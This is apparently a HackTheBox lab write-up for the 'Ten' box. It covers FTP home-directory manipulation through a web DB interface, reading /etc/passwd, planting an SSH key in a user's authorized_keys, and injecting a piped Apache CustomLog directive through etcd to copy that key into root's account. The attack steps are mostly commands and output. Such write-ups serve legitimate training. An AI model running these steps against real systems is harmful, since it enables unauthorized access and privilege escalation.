Ten

📅 Last Updated: Nov 08, 2025 14:57 | 📄 Size: 21.6 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Hard | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ nmap -sC -sV -Pn 10.129.234.158 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-30 15:23 UTC
Nmap scan report for 10.129.234.158
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 13:98:54:52:d3:7b:ae:32:6a:33:6f:18:a3:5a:27:66 (ECDSA)
|_  256 2e:d5:86:25:c1:6b:0e:51:a2:2a:dd:82:44:a6:00:63 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 169.84 seconds

Page check

index page ![[Pasted image 20251030153031.png]]

Now I would try to fuzz the web contents

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ffuf -u http://10.129.234.158/FUZZ -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.234.158/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 205, Words: 17, Lines: 10, Duration: 3859ms]
.htpasswd               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4767ms]
.htaccess               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4770ms]
.hta                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 4771ms]
dist                    [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 275ms]
index.php               [Status: 200, Size: 5131, Words: 764, Lines: 114, Duration: 276ms]
index.html              [Status: 200, Size: 205, Words: 17, Lines: 10, Duration: 277ms]
info.php                [Status: 200, Size: 74387, Words: 3532, Lines: 844, Duration: 303ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 275ms]
:: Progress: [4614/4614] :: Job [1/1] :: 145 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

/dist ![[Pasted image 20251030153223.png]] There are some static templates here, and only has images, CSS, and JavaScript, and nothing interesting.

Also we can visit /info.php ![[Pasted image 20251030153314.png]]

I would continue to enumerate the signup page ![[Pasted image 20251030153547.png]]

When I try to add the name wither, it would give us the domain name wither.ten.vl ![[Pasted image 20251030153557.png]]

So I guess there would be other sub-domains here

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ffuf -u http://ten.vl -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.ten.vl" -fs 205

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ten.vl
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.ten.vl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 205
________________________________________________

webdb                   [Status: 200, Size: 1685, Words: 55, Lines: 14, Duration: 323ms]

Web database page

Now we can check this site ![[Pasted image 20251030154045.png]] When we press guess credentials, it would button pops up the valid creds: And then loads the interface under connected: ![[Pasted image 20251030154143.png]]

Going into the pureftpd db, there is one table, users ![[Pasted image 20251030154321.png]]

I’ll try editing the dir value for an account I control. It seems each intended value is /srv/<username>/./. I’ll try making it just /./: ![[Pasted image 20251105203726.png]]

It would give us an error message ![[Pasted image 20251105203841.png]]

So we have to start with /srv/, we can try /srv/./and let's try to connect to ftp service with the credit we have before

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158                                                                                                     
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:43. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||35725|)
150 Accepted data connection
226-Options: -l 
226 0 matches total

Seems like worked here, so let's continue to try /srv/../, that should redirect to /root directory

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:45. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||58040|)
150 Accepted data connection
lrwxrwxrwx    1 0          root                7 Feb 16  2024 bin -> usr/bin
drwxr-xr-x    4 0          root             4096 Jun 24 20:09 boot
dr-xr-xr-x    2 0          root             4096 Jul  2 11:30 cdrom
drwxr-xr-x   19 0          root             4000 Nov  5 09:15 dev
drwxr-xr-x  107 0          root             4096 Jul  2 12:27 etc
drwxr-xr-x    3 0          root             4096 Sep 28  2024 home
lrwxrwxrwx    1 0          root                7 Feb 16  2024 lib -> usr/lib
lrwxrwxrwx    1 0          root                9 Feb 16  2024 lib32 -> usr/lib32
lrwxrwxrwx    1 0          root                9 Feb 16  2024 lib64 -> usr/lib64
lrwxrwxrwx    1 0          root               10 Feb 16  2024 libx32 -> usr/libx32
drwx------    2 0          root            16384 Sep 28  2024 lost+found
drwxr-xr-x    2 0          root             4096 Feb 16  2024 media
drwxr-xr-x    2 0          root             4096 Feb 16  2024 mnt
drwxr-xr-x    3 0          root             4096 Sep 28  2024 opt
dr-xr-xr-x  294 0          root                0 Nov  5 09:15 proc
drwx------    7 0          root             4096 Jul  2 12:29 root
drwxr-xr-x   33 0          root             1000 Nov  5 09:31 run
lrwxrwxrwx    1 0          root                8 Feb 16  2024 sbin -> usr/sbin
drwxr-xr-x    6 0          root             4096 Feb 16  2024 snap
drwxr-xr-x    2 0          root             4096 Feb 16  2024 srv
dr-xr-xr-x   13 0          root                0 Nov  5 09:15 sys
drwxrwxrwt   14 0          root             4096 Nov  5 09:44 tmp
drwxr-xr-x   14 0          root             4096 Feb 16  2024 usr
drwxr-xr-x   14 0          root             4096 Sep 28  2024 var
226-Options: -l 
226 24 matches total

Then we can get the /etc/passwd

ftp> cd etc
250 OK. Current directory is /etc
ftp> get passwd
local: passwd remote: passwd
229 Extended Passive mode OK (|||41974|)
150 Accepted data connection
100% |***********************************************************************************************************************************|  1882        6.63 KiB/s    00:00 ETA
226-File successfully transferred
226 0.000 seconds (measured here), 22.74 Mbytes per second
1882 bytes received in 00:00 (6.60 KiB/s)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
                                                   

tyrellwould be our next target

If I try to get shadow, it fails:

ftp> get shadow
local: shadow remote: shadow
229 Extended Passive mode OK (|||47595|)
550 Can't open shadow: Permission denied

Even try to visit the home directory of tyrell, it still failed

ftp> cd /home
250 OK. Current directory is /home
ftp> ls
229 Extended Passive mode OK (|||22373|)
150 Accepted data connection
drwxr-x---    4 1000       tyrell           4096 Jun 24 20:09 tyrell
226-Options: -l 
226 1 matches total
ftp> cd tyrell
550 Can't change directory to tyrell: Permission denied

Now we have to come back to the web page, we can try to change the user’s UID and GID ![[Pasted image 20251105204611.png]] I am trying to change into 0(root), but seems like only accept larger than 999.

I remember the UID and GID of tyrellis 1000 tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

So let's change into 1000 and visit the ftp service again.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:51. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd home/tyrell
250 OK. Current directory is /home/tyrell
ftp> ls
229 Extended Passive mode OK (|||59377|)
150 Accepted data connection
226-Options: -l 
226 0 matches total
ftp> ls -l
229 Extended Passive mode OK (|||49248|)
150 Accepted data connection
226-Options: -l 
226 0 matches total
ftp> ls -al
229 Extended Passive mode OK (|||15581|)
150 Accepted data connection
drwxr-x---    4 1000       tyrell           4096 Jun 24 20:09 .
drwxr-xr-x    3 0          root             4096 Sep 28  2024 ..
lrwxrwxrwx    1 0          root                9 Jun 24 20:09 .bash_history -> /dev/null
-rw-r--r--    1 1000       tyrell            220 Jan  6  2022 .bash_logout
-rw-r--r--    1 1000       tyrell           3771 Jan  6  2022 .bashrc
drwx------    2 1000       tyrell           4096 Sep 28  2024 .cache
-rw-r--r--    1 1000       tyrell            807 Jan  6  2022 .profile
drwx------    2 1000       tyrell           4096 Sep 28  2024 .ssh
-r--------    1 1000       tyrell             33 Apr 11  2025 .user.txt
226-Options: -a -l 
226 9 matches total

Now we can finally visit the home directory, but we still don't have permission to .sshor user.txt

ftp> cd .ssh
553 Prohibited file name: .ssh
ftp> get .user.txt
local: .user.txt remote: .user.txt
229 Extended Passive mode OK (|||36557|)
553 Prohibited file name: .user.txt

There seems to be a block on anything that starts with .. But what if I try setting the base directory to /home/tyrell/.ssh? It works in the web DB UI:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ftp ten-200deac2@10.129.234.158
Connected to 10.129.234.158.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:55. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
331 User ten-200deac2 OK. Password required
Password: 
230 OK. Current directory is /home/tyrell/.ssh
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Extended Passive mode OK (|||8684|)
150 Accepted data connection
drwx------    2 1000       tyrell           4096 Sep 28  2024 .
drwxr-x---    4 1000       tyrell           4096 Jun 24 20:09 ..
-rw-------    1 1000       tyrell            162 Sep 28  2024 authorized_keys
226-Options: -a -l 
226 3 matches total

Now we can put our public key to this directory and then we can ssh connect to get the user shell

ftp> put ~/.ssh/id_rsa.pub authorized_keys
local: /home/wither/.ssh/id_rsa.pub remote: authorized_keys
229 Extended Passive mode OK (|||39247|)
150 Accepted data connection
100% |***********************************************************************************************************************************|   730      453.78 KiB/s    00:00 ETA
226-File successfully transferred
226 0.717 seconds (measured here), 0.99 Kbytes per second
730 bytes sent in 00:00 (0.77 KiB/s)
ftp> 

Then ssh connect it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ssh tyrell@10.129.234.158 -i ~/.ssh/id_rsa 
The authenticity of host '10.129.234.158 (10.129.234.158)' can't be established.
ED25519 key fingerprint is SHA256:l6yrcdMcU34GxTUYFlSibADXTv2/Bd1AEnItyyI0jdg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.234.158' (ED25519) to the list of known hosts.

 System information as of Wed Nov  5 09:57:20 AM UTC 2025

  System load:  0.01              Processes:             241
  Usage of /:   70.1% of 8.07GB   Users logged in:       0
  Memory usage: 12%               IPv4 address for eth0: 10.129.234.158
  Swap usage:   0%
tyrell@ten:~$ whoami
tyrell
tyrell@ten:~$ id
uid=1000(tyrell) gid=1000(tyrell) groups=1000(tyrell)

Privilege Escalation

I would like check sudo -lfirst, but we can't check it because of no password

tyrell@ten:~$ sudo -l
[sudo] password for tyrell: 
sudo: a password is required

Let's continue to enumerate the config of web services

tyrell@ten:/etc/apache2/sites-enabled$ ls
000-default.conf  001-webdb.conf  010-customers.conf

tyrell@ten:/etc/apache2/sites-enabled$ cat 000-default.conf 
<VirtualHost *:80>
        ServerAdmin webmaster@ten.vl
        DocumentRoot /var/www/html
</VirtualHost>
tyrell@ten:/etc/apache2/sites-enabled$ cat 001-webdb.conf 
<VirtualHost *:80>
        ServerAdmin webmaster@ten.vl
        ServerName webdb.ten.vl
        ProxyPass "/"  "http://127.0.0.1:22071/"
        ProxyPassReverse "/"  "http://127.0.0.1:22071/"
</VirtualHost>
tyrell@ten:/etc/apache2/sites-enabled$ cat 010-customers.conf 

<VirtualHost *:80>
        ServerName wither.ten.vl
        DocumentRoot /srv/ten-200deac2/
</VirtualHost>

000-default.conf simply hosts the files in /var/www/html 001-webdb.conf forwards traffic to that virtual host to localhost port 22071, which is the webdb instance 010-customers.confhas an entry for each site I’ve registered

/var/www/html has the PHP files that control the site:

tyrell@ten:/var/www/html$ ls
attribution.php  carousel.css  dist  get-credentials-please-do-not-spam-this-thanks.php  images.txt  index.html  index.php  info.php  signup.php

get-credentials-please-do-not-spam-this-thanks.phpthis file is so funny and we can check its source code

tyrell@ten:/var/www/html$ cat get-credentials-please-do-not-spam-this-thanks.php 
<?php
if ( !isset($_POST['domain']) ) {
  header('Location: /signup.php');
}
if(!preg_match('/^[0-9a-z]+$/', $_POST['domain'])) {
  echo('<font color=red>Domain name can only contain alphanumeric characters.</font>');
} else {
  $username = "ten-" . substr(hash("md5",rand()),0,8);
  $password = substr(hash("md5",rand()),0,8);
  $password_crypt = crypt($password,'$1$OWNhNDE');
  sleep(10); // This is only here so that you do not create too many users :)
  $mysqli = new mysqli("127.0.0.1", "user", "pa55w0rd", "pureftpd");
  $stmt = $mysqli->prepare("INSERT INTO users VALUES ( NULL, ?, ?, ?, ?, ? );");
  $uid = random_int(2000,65535);
  $dir = "/srv/$username/./";
  $stmt->bind_param('ssiis',$username,$password_crypt,$uid,$uid,$dir);
  $stmt->execute();
  system("ETCDCTL_API=3 /usr/bin/etcdctl put /customers/$username/url " . $_POST['domain']);
  echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br>Personal Domain: <b>'.$_POST['domain'].'.ten.vl</b><br><br>You can use the provided credentials to upload your pages<br> via ftp://ten.vl.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you as well as your personal virtual host to be available.</font></p>');
}

It starts by making sure the domain POST parameter is set, and redirecting to /signup.php if not

Then it checks for non alphanumeric characters in the domain, and returns a message if it finds any

If all is valid, it creates a username, random password, and connects to and updates the database

Then it calls system() with the etcdctl command, and then writes the results to the response.

etcd is a distributed key-value store. The docs have a page called Interacting with etcd that show how to use etcdctl to read and write from this store.

I can dump all the customer data using the --prefix flag:

tyrell@ten:/var/www/html$  ETCDCTL_API=3 etcdctl get /customers/ --prefix 
/customers/ten-200deac2/url
wither

If I can put newlines into the etcd values, then I can inject parameters into the Apache config file.

tyrell@ten:/var/www/html$  ETCDCTL_API=3 etcdctl get /customers/ --prefix 
/customers/ten-200deac2/url
wither
tyrell@ten:/var/www/html$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
         # test here
         #'
OK
tyrell@ten:/var/www/html$ head /etc/apache2/sites-enabled/010-customers.conf | head

<VirtualHost *:80>
        ServerName privesc.ten.vl
         # test here
         #.ten.vl
        DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>


<VirtualHost *:80>

It worked here.

I’ll write a directive to copy the authorized_keys file from tyrell to root:

tyrell@ten:/var/www/html$ ETCDCTL_API=3 etcdctl put /customers/ten-1291b4cb/url 'privesc.ten.vl
        CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common 
        #'
OK
tyrell@ten:/var/www/html$ head /etc/apache2/sites-enabled/010-customers.conf | head

<VirtualHost *:80>
        ServerName privesc.ten.vl
        CustomLog "|$cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common 
        #.ten.vl
        DocumentRoot /srv/ten-1291b4cb/
</VirtualHost>


<VirtualHost *:80>

Now we can use ssh connect to root shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Ten]
└─$ ssh root@10.129.234.158 -i ~/.ssh/id_rsa

 System information as of Wed Nov  5 10:12:16 AM UTC 2025

  System load:  0.08              Processes:             241
  Usage of /:   70.2% of 8.07GB   Users logged in:       1
  Memory usage: 13%               IPv4 address for eth0: 10.129.234.158
  Swap usage:   0%

  => There is 1 zombie process.
Last login: Wed Jul  2 12:28:21 2025
root@ten:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ten:~# whoami
root

Description

Ten is a misconfigured shared-hosting box: register for FTP, abuse weak MySQL/FTP integration to pivot to a local user, then poison the etcd-driven Apache config reload to gain root.